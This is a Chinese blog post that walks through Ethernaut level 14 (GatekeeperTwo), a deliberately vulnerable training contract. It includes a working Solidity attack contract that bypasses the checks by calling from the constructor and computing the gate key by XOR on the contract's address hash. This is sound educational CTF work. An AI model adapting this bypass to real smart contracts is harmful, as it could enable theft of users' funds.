# 智能合约黑客攻击 Ethernaut: 14. GatekeeperTwo **Published by:** [Leek DEV](https://paragraph.com/@leekdev/) **Published on:** 2023-09-28 **URL:** https://paragraph.com/@leekdev/ethernaut-14-gatekeepertwo ## Content Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目把自己设置为 entrantHack思路三个关卡gateOne 和上一关一样,用一个合约转一下gateTwo 要求被调用方没有执行代码,只能在合约创建时进行攻击gateThree 当前地址后 8个字节做取反运算interface IGatekeeperTwo { function enter(bytes8 _gateKey) external returns (bool); } contract GatekeeperTwoHack { uint64 _gateKey; IGatekeeperTwo public exploitInst; constructor(address _target) { exploitInst = IGatekeeperTwo(_target); unchecked { _gateKey = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max; } exploitInst.enter(bytes8(_gateKey)); } } Hack案例…防范思路…参考资料…. ## Publication Information - [Leek DEV](https://paragraph.com/@leekdev/): Publication homepage - [All Posts](https://paragraph.com/@leekdev/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@leekdev): Subscribe to updates - [Twitter](https://twitter.com/LeekDEV): Follow on Twitter